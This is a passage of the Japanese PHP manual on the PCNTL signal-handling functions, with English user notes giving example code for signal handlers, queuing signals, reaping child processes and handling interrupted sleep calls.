Register a tick handler that calls pcntl_signal_dispatch();
In the signal handler, enqueue your signal;
In the main loop of your script, process your signals;

<?php
declare(ticks=1);
global $sig_queue;
global $use_queue;
$sig_queue = array();
$use_queue = true;   // set to false to do it the old way

function tick_handler()
{
     pcntl_signal_dispatch();
}

function sig_handler($sig)
{
     global $sig_queue;
     global $use_queue;

     if(isset($use_queue) && $use_queue)
     {
          $sig_queue[] = $sig;
     }
     else
     {
          sig_helper($sig);
     }
}

function sig_helper($sig)
{
     switch($sig)
     {
     case SIGHUP:
          $pid = pcntl_fork();
          if($pid) print("forked $pid\n");
          break;

     default:
          print("unhandled sig: $sig\n");
     }
}

pcntl_signal(SIGHUP,   "sig_handler");

while(true)
{
     if($use_queue) foreach($sig_queue as $idx=>$sig)
     {
           sig_helper($sig);
           unset($sig_queue[$idx]);
     }
     sleep(1);
}
?>
stefanis 13-May-2014 12:40
As noted by "me at subsonic dot net" calling pcntl_signal_dispatch() from within a signal handler invoked by a previous pcntl_signal_dispatch() will not trigger handlers for any new pending signals. This seems to be true even if you pcntl_exec() a new PHP processor to execute an entirely different script.

The solution seems to be to explicitly call pcntl_signal_dispatch()inside a ticks_handler() . And use sig_handler(int) as a push function to a queue. Immediately following the call to dispatch in the ticks_handler, pop your queue doing what you would have done in the signal_handler until the queue is empty.
me at subsonic dot cz 27-Jan-2014 05:33
Note that calling pcntl_signal_dispatch() from within a signal handler invoked by a previous pcntl_signal_dispatch() will not trigger handlers for any new pending signals. This means that if you write a CLI daemon which forks off child processes in response to a signal, then those child processes won't be able to respond to signals. This gave me a headache for a while as pcntl_signal_dispatch() doesn't raise any errors when this occurs. One solution is to set a flag within the signal handler and react upon it (by forking off the needed child processes) elsewhere in the parent process's main loop.
webmaster at ajeux dot com 10-Aug-2009 10:50
If you are running PHP as CLI and as a "daemon" (i.e. in a loop), this function must be called in each loop  to check if new signals are waiting dispatching.


指定されたシグナルの現在のハンドラを取得する

  • ≪ pcntl_signal_dispatch
  • pcntl_signal ≫
  • PHP Manual
  • PCNTL 関数
  • 指定されたシグナルの現在のハンドラを取得する

pcntl_signal_get_handler

(PHP 7 >= 7.1.0, PHP 8)

pcntl_signal_get_handler — 指定されたシグナルの現在のハンドラを取得する

説明

pcntl_signal_get_handler ( int $signo ) : mixed

pcntl_signal_get_handler() 関数は、 指定された signo の現在のハンドラを取得します。

パラメータ

signo

シグナル番号

返り値

この関数は、 SIG_DFL または SIG_IGN が参照する数値を返す可能性があります。 カスタムハンドラを設定している場合は、関数名を含んだ文字列の値を返します。

変更履歴

バージョン | 説明
7.1.0 | pcntl_signal_get_handler() 関数が追加されました。

例

例1 pcntl_signal_get_handler() の例

<?php
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Outputs: int(0)

function pcntl_test($signo) {}
pcntl_signal(SIGUSR1, 'pcntl_test');
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Outputs: string(10) "pcntl_test"

pcntl_signal(SIGUSR1, SIG_DFL);
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Outputs: int(0)

pcntl_signal(SIGUSR1, SIG_IGN);
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Outputs: int(1)
?>

参考

  • pcntl_signal() - シグナルハンドラを設定する

User Contributed Notes

MAL 07-Feb-2021 09:08
If the signal handler is a Closure, the function itself is returned:

pcntl_signal(SIGHUP, function ($signo, $siginfo) {
    echo SIGHUP;
});

var_dump(pcntl_signal_get_handler(SIGHUP)); // Outputs: string(6) "SIGHUP"
jrdbrndt at gmail dot com 13-Jan-2018 02:06
It is worth noting that supplying an invalid signal number will trigger a warning and return false.


シグナルハンドラを設定する

  • ≪ pcntl_signal_get_handler
  • pcntl_sigprocmask ≫
  • PHP Manual
  • PCNTL 関数
  • シグナルハンドラを設定する

pcntl_signal

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_signal — シグナルハンドラを設定する

説明

pcntl_signal ( int $signo , callable|int $handler , bool $restart_syscalls = true ) : bool

pcntl_signal() 関数は、signo が指すシグナルに関するハンドラを新たに設定するか、既存のハンドラを置き換えます。

パラメータ

signo

シグナル番号。

handler

シグナルハンドラ。callable を渡すと、それを実行してシグナルを処理します。 あるいは、グローバル定数 SIG_IGN または SIG_DFL を渡すこともできます。それぞれ、シグナルを無視することとデフォルトのシグナルハンドラを復活させることを表します。

callable を渡す場合は、次のシグネチャを実装したものでなければいけません。

handler ( int $signo , mixed $siginfo ) : void
signo
処理するシグナル。
siginfo
OS が siginfo_t 構造体をサポートしている場合、 これはシグナルに依存するシグナル情報の配列になります。

注意:

オブジェクトのメソッドをハンドラとして指定した場合には、 そのハンドラを別のものに変えたりスクリプトが終了したりするまでは オブジェクトの参照カウントが増加しないことに注意しましょう。

restart_syscalls

再起動のシステムコールに対応するかどうかを設定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.1.0 | PHP 7.1.0 以降、 ハンドラコールバックは特定のシグナルの siginfo を含む 2 番目の引数を受け付けるようになりました。 このデータは、OS が siginfo_t 構造体を持つ場合のみ提供されます。 OS が siginfo_t を実装していない場合は NULL が提供されます。

例

例1 pcntl_signal() の例

<?php
// tick を使用しなければなりません
declare(ticks = 1);

// シグナルハンドラ関数
function sig_handler($signo)
{

     switch ($signo) {
         case SIGTERM:
             // シャットダウンの処理
             exit;
             break;
         case SIGHUP:
             // 再起動の処理
             break;
         case SIGUSR1:
             echo "SIGUSR1 を受け取りました...\n";
             break;
         default:
             // それ以外のシグナルの処理
     }

}

echo "シグナルハンドラを設定します...\n";

// シグナルハンドラを設定します
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP,  "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");

// あるいは、オブジェクトも指定できます
// pcntl_signal(SIGUSR1, array($obj, "do_something"));

echo "自分自身に SIGUSR1 シグナルを送信します...\n";

// SIGUSR1 をカレントのプロセス ID に送信します
// posix_* 関数を使うには posix 拡張モジュールが必要です
posix_kill(posix_getpid(), SIGUSR1);

echo "終了\n";

?>

注意

pcntl_signal() は、既存のシグナルハンドラがある場合にはそれを上書きします。

参考

  • pcntl_fork() - 現在実行中のプロセスをフォークする
  • pcntl_waitpid() - 待つかフォークした子プロセスのステータスを返す

User Contributed Notes

kuba at valentine dot dev 19-Jul-2019 12:13
Remember that signal handlers are called immediately, so every time when your process receives registered signal blocking functions like sleep() and usleep() are interrupted (or more like ended) like it was their time to finish.

This is expected behaviour, but not mentioned in this documentation. Sleep interruption can be very unfortunate when for example you run a daemon that is supposed to execute some important task exactly every X seconds/minutes - this task could be called too early or too often and it would be hard to debug why it's happening exactly.

Simply remember that signal handlers might interfere with other parts of your code.
Here is example workaround ensuring that function gets executed every minute no matter how many times our loop gets interrupted by incoming signal (SIGUSR1 in this case).

<?php

  pcntl_async_signals(TRUE);

  pcntl_signal(SIGUSR1, function($signal) {
    // do something when signal is called
  });

  function everyMinute() {
    // do some important stuff
  }

  $wait = 60;
  $next = 0;

  while (TRUE) {
    $stamp = time();
    do {
      if ($stamp >= $next) { break; }
      $diff = $next - $stamp;
      sleep($diff);
      $stamp = time();
    } while ($stamp < $next);

    everyMinute();

    $next = $stamp + $wait;
    sleep($wait);
  }

?>

So in this infinite loop do {} while() calculates and adds missing sleep() to ensure that our everyMinute() function is not called too early. Both sleep() functions here are covered so everyMinute() will never be executed before it's time even if process receives multiple SIGUSR1 signals during it's runtime.
Aurelien Marchand 29-Jun-2018 02:29
To be clear, the phrase "pcntl_signal() doesn't stack the signal handlers, but replaces them. " means that you can still have different functions for different signals but only one function per signal.

In other words, this will work as expected

<?php

pcntl_async_signals(true);
pcntl_signal(SIGUSR1,function(){echo "received SIGUSR1";});
pcntl_signal(SIGUSR2,function(){echo "received SIGUSR2";});
posix_kill(posix_getpid(),SIGUSR1);
posix_kill(posix_getpid(),SIGUSR2);

// returns "received SIGUSR1" and then "received SIGUSR2"

?>
Ryan Jentzsch 21-Nov-2017 08:53
If you are using PHP >= 7.1 then DO NOT use `declare(ticks=1)` instead use `pcntl_async_signals(true)`

There's no performance hit or overhead with `pcntl_async_signals()`. See this blog post https://blog.pascal-martin.fr/post/php71-en-other-new-things.html for a simple example of how to use this.
wally at soggysoftware dot co dot uk 26-Apr-2016 12:27
A word of caution around the third parameter (restart_syscalls) in pcntl_signal(...).

I kept having a repeated issue where (seemingly randomly) my script would "exit unexpectedly" (_exit_, not crash: the exit code was always 0) while tracking forked children using signal handlers.

It appears that the signal handling is not at fault (indeed, PHP isn't "at fault").  Having "restart_syscalls" set to FALSE seemed to be the problem's cause.

I haven't debugged the issue extensively - except to observe that the issue was highly intermittent and seemed to relate to my use of usleep() in conjunction with restart_syscalls=FALSE.

My theory is the usleep() was wrongly tracking time - as described over here: http://man7.org/linux/man-pages/man2/restart_syscall.2.html

Long story short, I re-enabled (which is the default value) restart_syscalls, and the issue went away.

If you're curious - register_shutdown_function was still being handled correctly - so PHP definitely was _NOT_ crashing.  Interestingly however, my procedural code never "resumed" after the signal was handled.

I do not believe this is a bug.  I believe it was ignorant user error.  YMMV.
dorogikh dot alexander at gmail dot com 22-Oct-2014 07:40
Looks like php uses  RealTime signals. This means that if one signal is currently processed, then other signals will not be lost.

just for example
<?php
pcntl_signal(SIGHUP, SIG_IGN)
?>

in strace log looks like this

"rt_sigaction(SIGHUP, {SIG_IGN, [], SA_RESTORER|SA_RESTART, 0x7f8caf83cc30}, {SIG_DFL, [], 0}, 8) = 0"

And code for testing

<?php
pcntl_signal(SIGHUP, function($signo){
  echo "1\n";
  sleep(2);
  echo "2\n";
});

while(true){
  sleep(1);
  pcntl_signal_dispatch();
}
?>

Run this and send how many SIGHUP signals as you want. All of them will be processed.

P.S.
I guess "all of them". I couldn't found real signal queue size. Will appreciate if someone points me.
fx4084 at gmail dot com 12-Sep-2014 08:13
<?php
pcntl_signal(SIGTERM,  function($signo) {
    echo "\n This signal is called. [$signo] \n";
    Status::$state = -1;
});

class Status{
    public static $state = 0;
}

$pid = pcntl_fork();
if ($pid == -1) {
    die('could not fork');
}

if($pid) {
    // parent
} else {
    while(true) {
        // Dispatching...
        pcntl_signal_dispatch();
        if(Status::$state == -1) {
            // Do something and end loop.
            break;
        }

        for($j = 0; $j < 2; $j++) {
            echo '.';
            sleep(1);
        }
        echo "\n";
    }

    echo "Finish \n";
    exit();
}

$n = 0;
while(true) {
    $res = pcntl_waitpid($pid, $status, WNOHANG);

    // If the child process ends, then end the main process.
    if(-1 == $res || $res > 0)
        break;

    // Send a signal after 5 seconds..
    if($n == 5)
        posix_kill($pid, SIGTERM);

    $n++;

    sleep(1);
}
?>
frustrated at outdated docs 07-Mar-2014 11:01
Please be aware that declaring ticks or calling pcntl_signal_dispatch() in 5.3 and later is required to make pcntl_signal do anything useful. I wish the documentation made this more clear.
Zsolt Szilagyi 19-Feb-2013 09:04
Remember that declaring a tick handler can become really expensive in terms of CPU cycles: Every n ticks the signal handling overhead will be executed.

So instead of declaring tick=1, test if tick=100 can do the job. If so, you are likely to gain fivefold speed.

As your script might always might miss some signals due to blocking operations like cURL downloads, call pcntl_signal_dispatch() on vital spots, e.g. at the beginning of your main loop.
S. Kr@cK 31-May-2012 12:25
static class method to get the name of a process signal as string:

(self::$processSignalDescriptions is used to cache the results)

<?php
    public static function getPOSIXSignalText($signo) {

        try {
            if (is_null(self::$processSignalDescriptions)) {

                self::$processSignalDescriptions = array();

                $signal_list = explode(" ", trim(shell_exec("kill -l")));
                foreach ($signal_list as $key => $value) {
                    self::$processSignalDescriptions[$key+1] = "SIG".$value;
                }
            }

            return isset(self::$processSignalDescriptions[$signo])?self::$processSignalDescriptions[$signo]:"UNKNOWN";

        } catch (Exception $e) {}

        return "UNKNOWN";
    }
?>
Aurelien Marchand 04-Mar-2011 07:22
I was having some issues with processing a signal using an object method I use for something else as well. In particular, I wanted to handle SIGCHLD with my own method "do_reap()" which I also call after a stream_select timeout and that uses a non-blocking pcntl_waitpid function.

The method was called when the signal was received but it couldn't reap the child.

The only way it worked was by creating a new handler that itself called do_reap().

So in other words, the following does not work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"do_reap"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }
}
?>

But this work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"child_died"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }

    private function child_died(){
      $this->do_reap();
    }
}
?>
webmaster at ajeux dot com 10-Aug-2009 06:56
For PHP >= 5.3.0, instead of declare(ticks = 1), you should now use pcntl_ signal_ dispatch().
benjamin at josefus dot /NO+SPAM/ net 24-Jul-2009 01:25
Since php >= 5.3 handles Closures, you are now able to define the Callback directly.
Try this:

<?php
declare(ticks = 1);

pcntl_signal(SIGUSR1, function ($signal) {
            echo 'HANDLE SIGNAL ' . $signal . PHP_EOL;
});

posix_kill(posix_getpid(), SIGUSR1);

die;
?>
ewout dot NOSPAM dot zigterman at custosys dot nl 21-Apr-2009 08:32
I found out then when you use pcntl_signal in a 'deamon' script and you run it before you fork childs it does not work as expected.

instead you need to use pcntl_signal in the child code of the child you are forking

and if you want to cach signals for the 'deamon' part you should use pcntl_signal in the parent code.
seong at respice dot net 14-Feb-2009 08:48
Be careful, when using an object in your callback. It seems this elevates the reference count. You may not want it to happen in repeated child processes.
rbotzer at yahoo dot com 21-Jun-2008 11:50
You cannot assign a signal handler for SIGKILL (kill -9).
Holger Hees 09-Jun-2008 12:49
you should use following code to prevent situation described by anxious2006 (children exit near simultaneously)

public function sig_handler($signo){
  switch ($signo) {
    case SIGCLD:
      while( ( $pid = pcntl_wait ( $signo, WNOHANG ) ) > 0 ){
        $signal = pcntl_wexitstatus ( $signo );
      }
      break;
  }
}
Anonymous 20-Dec-2007 08:44
Multiple children return less than the number of children exiting at a given moment SIGCHLD signals is normal behavior for Unix (POSIX) systems.  SIGCHLD might be read as "one or more children changed status -- go examine your children and harvest their status values".  Signals are implemented as bit masks in most Unix systems, so there can only be 1 SIGCHLD bit set in any given kernel tick for a process.
anxious2006 30-Oct-2007 09:35
Under my setup (FreeBSD 6.2-RELEASE / PHP 5.2.4 CLI) I've noticed that when a child exits the SIGCHLD handler in the parent is not always invoked. It seems to happen when two children exit near simultaneously.

In this instance the child prints "EXIT" and the parent prints "SIGCHLD received":

- EXIT
- SIGCHLD received

This works as expected, but now look what happens when three exit in quick succession:

- EXIT
- EXIT
- EXIT
- SIGCHLD received
- SIGCHLD received

Because of this quirk any code which tries to limit the maximum number of children by incrementing on fork and decrementing on SIGCHLD will eventually end up with a single child (or no further forks), since the "active children" count is always above the maximum. I've noticed similar behaviour with using decrement after pcntl_wait(). Hopefully there's a workaround for this.
rob at robertjohnkaper dot com 16-Nov-2006 03:00
Tip: when using objects, don't set the signal handler from the constructor or even a method called from the constructor - your internal variables will be uninitialised.
nate at example dot com 29-Oct-2006 04:10
If you have a script that needs certain sections to not be interrupted by a signal (especially SIGTERM or SIGINT), but want to make your script ready to process that signal ASAP, there's only one way to do it. Flag the script as having received the signal, and wait for your script to say its ready to process it.

Here's a sample script:

<?
    $allow_exit = true;  // are we permitting exit?
    $force_exit = false; // do we need to exit?

    declare(ticks = 1);
    register_tick_function('check_exit');
    pcntl_signal(SIGTERM, 'sig_handler');
    pcntl_signal(SIGINT, 'sig_handler');

    function sig_handler () {
        global $allow_exit, $force_exit;

        if ($allow_exit)
            exit;
        else
            $force_exit = true;
    }

    function check_exit () {
        global $allow_exit, $force_exit;

        if ($force_exit && $allow_exit)
            exit;
    }

    $allow_exit = false;

    $i = 0;
    while (++$i) {
        echo "still going (${i})\n";
        if ($i == 10)
            $allow_exit = true;

        sleep(2);
    }
?>

You set $allow_exit to true at all times when it is perfectly acceptable that your script could exit without warning. In sections where you really need the script to continue running, you set $allow_exit to false. Any signals received while $allow_exit is false will not take effect until you set $allow_exit to true.

<?
    $allow_exit = true;

    // unimportant stuff here. exiting will not harm anything

    $allow_exit = false;

    // really important stuff not to be interrupted

    $allow_exit = true;

    // more unimportant stuff. if signal was received during
    // important processing above, script will exit here
?>
imslushie at hotmaildotcom dot com 04-Oct-2006 07:16
I have been having trouble reaping my child process. It seemed most of the time, children were reaped properly but *sometimes* they would stay as zombies. I was catching the CHLD signal to reap child processes with the following code:

<?php

function childFinished($signal)
{
  global $kids;
  $kids--;
  pcntl_waitpid(-1, $status);
}

$kids = 0;
pcntl_signal(SIGCHLD, "childFinished");
for ($i = 0; $i < 1000; $i++)
{
  while ($kids >= 50) sleep(1);

  $pid = pcntl_fork();
  if ($pid == -1) die('failed to fork :(');

  /* child process */
  if ($pid == 0)
  {
    /* do something */
    exit(0);
  }

  /* parent */
  else { $kids++; }
}

/* when finished, just clean up the children */
print "Reaping $kids children...\n";
while ($kids) sleep(1);

print "Finished.\n";
?>

The problem was, $kids never became zero so it would effectively wait forever. After wracking my brains (UNIX forks are new to me) I finally read the Perl IPC docs and viola, a solution! It turns out that because signal handlers are not re-entrant, my handler will not be called again while it is in use. The scenario that caused me trouble was that one child would exit and call the signal handler, which would pcntl_waitpid() it and decrement the counter. Meanwhile, another child would exit while the first child was still being reaped,  so the second would never get to notify the parent!

The solution was to continually reap children from the SIGCHLD handler, so long as there were children to reap. Here is the *fixed* childFinished function:

<?php

function childFinished($signal)
{
  global $kids;

  while( pcntl_waitpid(-1, $status, WNOHANG) > 0 )
    $kids--;
}

?>
aeolianmeson at NOSPAXM dot blitzeclipse dot com 09-Jun-2006 01:19
This issue occurs in at least PHP 5.1.2.

When a SIGINT is sent via CTRL+C or CTRL+BREAK, the handler is called. If this handler sends a SIGTERM to other children, the signals are not received.

SIGINT can be sent via posix_kill() and it work exactly as expected-- This only applies when initiated via a hard break.
aeolianmeson at NOSPAM dot blitzeclipse dot com 29-May-2006 08:43
In at least version 5.1.4, the parameter passed to the handler is not a strict integer.

I have had such problems as trying to add the signal to an array, but the array is completely screwed up when viewed (but not viewed immediately after being added). This occurs when the handler is a method (array($this, 'methodname')), or a traditional functions.

To avoid this bug, typecast the parameter to an integer:
(note that each newline may appear to just be 'n'.)

<?php
print("pid= " . posix_getpid() . "\n");
declare(ticks=1);
$arrsignals = array();

function handler($nsig)
{
    global $arrsignals;
    $arrsignals[] = (int)$nsig;
    print("Signal caught and registered.\n");
    var_dump($arrsignals);
}

pcntl_signal(SIGTERM, 'handler');

// Wait for signals from the command-line (just a simple 'kill (pid)').
$n = 15;
while($n)
{
    sleep(1);
    $n--;
}

print("terminated.\n\n");
var_dump($arrsignals);
?>

Dustin
zenyatta22 at hotmail 28-Mar-2006 02:26
Process handling is not available when using a blocking socket! Bear this in mind.
wm161 at wm161 dot net 10-Jan-2006 03:45
When you are running a script inside of a loop that checks a socket, and it hangs on that checking (Either by flaw or design), it can't handle signals until some data is received.

A suggested workaround would be to use the stream_set_blocking function, or stream_select on the offending reads.
codeslinger at compsalot dot com 03-Feb-2005 09:23
I ran into an interesting problem. CLI 4.3.10 Linux

The parent forked a child.  The child did a bunch of stuff, and when it was done it sent SIGUSR1 to the parent and immediately exited.

Result:
The child turned into a zombie process waiting for the parent to harvest it, as it should.

But the parent was unable to harvest the child because it was receiving an endless barrage of SIGUSR1s.  In fact, it logged over 200000 before I shut it down (SIGKILL).  The parent was not able to do anything else (respond to other events) during that time.

No, it wasn't a bug in my child code.  Apparently, after sending a signal there is some "behind the covers" work that needs to occur to acknowledge signal completion, and when you exit immediately it is not able to happen, so the system just keeps trying.

Solution:  I introduced a small delay in the child, after sending the signal, and before exiting.
No more Sig loops...

----------

P.S.  With respect to the note below.  The whole point of the sleep function is to enable the processing of other events.  So, yes, your non-renterent code, will suddenly get re-entered when you do a sleep, because you have just handed off control to the next pending event.

Ignoring the signal is only an option if the signal is unimportant to your program....   The better way to approach it, is to not do lengthy processing inside of the signal event.  Instead set a global flag and get the heck out of there as fast as possible.  Allow another part of your program to check the flag and do the processing outside of the signal event.  Usually your program is in some kind of loop when it is receiving signals, so checking a flag regularly shouldn't be a problem.
ieure at php dot net 19-Jan-2005 05:15
Some weird signal interactions going on here. I'm running PHP 4.3.9.

sleep() calls seem to be interrupted when any signal is received by the PHP script. But things get weird when you sleep() inside a signal handler.

Ordinarily, signal handlers are non-reentrant. That is, if the signal handler is running, sending another signal has no effect. However, sleep() seems to override PHP's signal handling. If you sleep() inside a signal handler, the signal is received and the sleep() is interrupted.

This can be worked around like this:

function handler($signal)
{
    // Ignore this signal
    pcntl_signal($signal, SIG_IGN);

    sleep(10);

    // Reinstall signal handler
    pcntl_signal($signal, __FUNCTION__);
}

I don't see any mention of this behavior in the documentation.
daniel[at]lorch.cc 27-Feb-2002 06:17
There are two documents I consider reading:

  Unix Signals Programming
  http://users.actcom.co.il/~choo/lupg/tutorials/

  Beej's Guide to Unix Interprocess Communication
  http://www.ecst.csuchico.edu/~beej/guide/ipc/

Also, have a look at the manpage:

  http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?signal+5


ブロックされたシグナルを設定あるいは取得する

  • ≪ pcntl_signal
  • pcntl_sigtimedwait ≫
  • PHP Manual
  • PCNTL 関数
  • ブロックされたシグナルを設定あるいは取得する

pcntl_sigprocmask

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_sigprocmask — ブロックされたシグナルを設定あるいは取得する

説明

pcntl_sigprocmask ( int $how , array $set , array &$oldset = ? ) : bool

pcntl_sigprocmask() 関数は、 ブロックされたシグナルを how パラメータに応じて 追加、削除あるいは設定します。

パラメータ

how

pcntl_sigprocmask() の挙動を設定します。以下の値が設定できます。

  • SIG_BLOCK: 現在ブロックされているシグナルにシグナルを追加する
  • SIG_UNBLOCK: 現在ブロックされているシグナルからシグナルを削除する
  • SIG_SETMASK: 現在ブロックされているシグナルを、指定したもので置き換える

set

シグナルのリスト。

oldset

oldset パラメータには、 それまでにブロックされていたシグナルのリストが設定されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pcntl_sigprocmask() の例

<?php
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));
$oldset = array();
pcntl_sigprocmask(SIG_UNBLOCK, array(SIGHUP), $oldset);
?>

参考

  • pcntl_sigwaitinfo() - シグナルを待つ
  • pcntl_sigtimedwait() - タイムアウトつきでシグナルを待つ

User Contributed Notes

There are no user contributed notes for this page.


タイムアウトつきでシグナルを待つ

  • ≪ pcntl_sigprocmask
  • pcntl_sigwaitinfo ≫
  • PHP Manual
  • PCNTL 関数
  • タイムアウトつきでシグナルを待つ

pcntl_sigtimedwait

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_sigtimedwait — タイムアウトつきでシグナルを待つ

説明

pcntl_sigtimedwait ( array $set , array &$siginfo = ? , int $seconds = 0 , int $nanoseconds = 0 ) : int

pcntl_sigtimedwait() 関数の挙動は pcntl_sigwaitinfo() とほぼ同じですが、さらに 2 つのパラメータがあります。 seconds および nanoseconds がそれで、 スクリプトが待ち続ける時間の上限をここで設定することができます。

パラメータ

set

待つシグナルの配列。

siginfo

シグナルについての情報を含む配列が siginfo に設定されます。 pcntl_sigwaitinfo() を参照ください。

seconds

タイムアウトの秒数。

nanoseconds

タイムアウトのナノ秒数。

返り値

成功した場合に pcntl_sigtimedwait() はシグナル番号を返します。

参考

  • pcntl_sigprocmask() - ブロックされたシグナルを設定あるいは取得する
  • pcntl_sigwaitinfo() - シグナルを待つ

User Contributed Notes

There are no user contributed notes for this page.


シグナルを待つ

  • ≪ pcntl_sigtimedwait
  • pcntl_strerror ≫
  • PHP Manual
  • PCNTL 関数
  • シグナルを待つ

pcntl_sigwaitinfo

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_sigwaitinfo — シグナルを待つ

説明

pcntl_sigwaitinfo ( array $set , array &$siginfo = ? ) : int

pcntl_sigwaitinfo() は、 呼び出し元のスクリプトの実行をいったん停止させ、set で指定したシグナルを受け取るまで待ちます。もしそのシグナルのいずれかがすでにペンディング状態 (pcntl_sigprocmask() でブロックされているなど) の場合、 pcntl_sigwaitinfo() は即時に結果を返します。

パラメータ

set

待つシグナルの配列。

siginfo

シグナルについての情報を含む配列が siginfo に設定されます。

次の要素は、すべてのシグナルについて設定されます。

  • signo: シグナル番号
  • errno: エラー番号
  • code: シグナルコード

次の要素は、SIGCHLD シグナルの場合に設定されます。

  • status: 終了値あるいはシグナル
  • utime: 使用したユーザー時間
  • stime: 使用したシステム時間
  • pid: 送信したプロセスの ID
  • uid: 送信したプロセスの実ユーザー ID

次の要素は、SIGILL、 SIGFPE、SIGSEGV および SIGBUS シグナルの場合に設定されます。

  • addr: 問題が発生したメモリ上の場所

次の要素は、SIGPOLL シグナルの場合に設定されます。

  • band: バンドイベント
  • fd: ファイル記述子番号

返り値

成功した場合に pcntl_sigwaitinfo() はシグナル番号を返します。

例

例1 pcntl_sigwaitinfo() の例

<?php
echo "Blocking SIGHUP signal\n";
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));

echo "Sending SIGHUP to self\n";
posix_kill(posix_getpid(), SIGHUP);

echo "Waiting for signals\n";
$info = array();
pcntl_sigwaitinfo(array(SIGHUP), $info);
?>

参考

  • pcntl_sigprocmask() - ブロックされたシグナルを設定あるいは取得する
  • pcntl_sigtimedwait() - タイムアウトつきでシグナルを待つ

User Contributed Notes

dave at mudsite dot com 17-Jul-2016 12:28
This function is not available on platforms that do not implement the underlying C function.  Included in this would be MaxOS[1], and FreeBSD[2]

[1] : http://opensource.apple.com//source/xnu/xnu-1456.1.26/bsd/sys/signal.h

[2] : http://fxr.watson.org/fxr/source/sys/signal.h?v=FREEBSD11


指定した errno に対応するシステムのエラーメッセージを取得する

  • ≪ pcntl_sigwaitinfo
  • pcntl_wait ≫
  • PHP Manual
  • PCNTL 関数
  • 指定した errno に対応するシステムのエラーメッセージを取得する

pcntl_strerror

(PHP 5 >= 5.3.4, PHP 7, PHP 8)

pcntl_strerror — 指定した errno に対応するシステムのエラーメッセージを取得する

説明

pcntl_strerror ( int $errno ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

errno

返り値

エラーの説明を返します。失敗した場合に false を返します。

参考

  • pcntl_get_last_error() - 直近の pcntl 関数が失敗したときのエラー番号を取得する

User Contributed Notes

There are no user contributed notes for this page.


待つかフォークした子プロセスのステータスを返す

  • ≪ pcntl_strerror
  • pcntl_waitpid ≫
  • PHP Manual
  • PCNTL 関数
  • 待つかフォークした子プロセスのステータスを返す

pcntl_wait

(PHP 5, PHP 7, PHP 8)

pcntl_wait — 待つかフォークした子プロセスのステータスを返す

説明

pcntl_wait ( int &$status , int $options = 0 , array &$rusage = ? ) : int

この関数は、子プロセスが終了する・ カレントのプロセスを終了させるシグナルが送信される・シグナル処理関数を コールするシグナルが送信される のいずれかが発生するまでカレントのプロセスの実行を中断します。 子プロセスが、 コール時に 既に終了している場合("ゾンビ"プロセスと呼ばれます)、この関数は 直ちに処理を返します。子プロセスにより使用される全てのシステム リソースは、解放されます。waitpid のシステムでの動作に関する詳細は、 システムの wait(2) についての man ページを参照ください。

注意:

この関数は、pid に -1 を指定し、options を何も設定せずに pcntl_waitpid() をコールするのと等価です。

パラメータ

status

pcntl_wait() は、パラメータ
status の中にステータス情報を保存します。
このステータスは、次の関数を用いて評価可能です。
pcntl_wifexited()、
pcntl_wifstopped()、
pcntl_wifsignaled()、
pcntl_wexitstatus()、
pcntl_wtermsig() および
pcntl_wstopsig() 。

options

システム上で wait3 が使用可能な場合 (ほとんどの BSD 系システムが 該当します)、オプションのパラメータ options を使用可能です。このパラメータが指定されない場合、wait はシステムコールに 対して使用されます。wait3 が使用できない場合、options に値を設定しても何の影響も及ぼしません。 options の値は、次の 2 つのグローバル定数の ゼロまたはそれ以上の論理和です。

options のとりうる値
WNOHANG | 子プロセスが終了していない場合に直ちに処理を返します。
WUNTRACED | 停止した子プロセスの場合に処理を返します。 そして、ステータスは報告されません。

返り値

pcntl_wait() は、終了した子プロセスの プロセス ID を返します。エラーの場合は -1、(wait3 が使用可能なシステムで) WNOHANG が使用され、子プロセスが利用できない場合に 0 を返します。

参考

  • pcntl_fork() - 現在実行中のプロセスをフォークする
  • pcntl_signal() - シグナルハンドラを設定する
  • pcntl_wifexited() - ステータスコードが正常終了を表しているかどうかを調べる
  • pcntl_wifstopped() - 子プロセスが現在停止しているかどうかを調べる
  • pcntl_wifsignaled() - ステータスコードがシグナルによる終了を表しているかどうかを調べる
  • pcntl_wexitstatus() - 終了した子プロセスのリターンコードを返す
  • pcntl_wtermsig() - 子プロセスを終了させたシグナルを返す
  • pcntl_wstopsig() - 子プロセスを停止させたシグナルを返す
  • pcntl_waitpid() - 待つかフォークした子プロセスのステータスを返す

User Contributed Notes

duerra at yahoo dot com 01-Jul-2010 07:12
Oops, I stripped just a little much from the job daemon code in the previous comment.  You'll want to add a little line before the ->launchJob() method is called:

<?php

while(count($this->currentJobs) >= $this->maxProcesses){
    echo "Maximum children allowed, waiting...\n";
    sleep(1);
}
duerra at yahoo dot com 01-Jul-2010 06:45
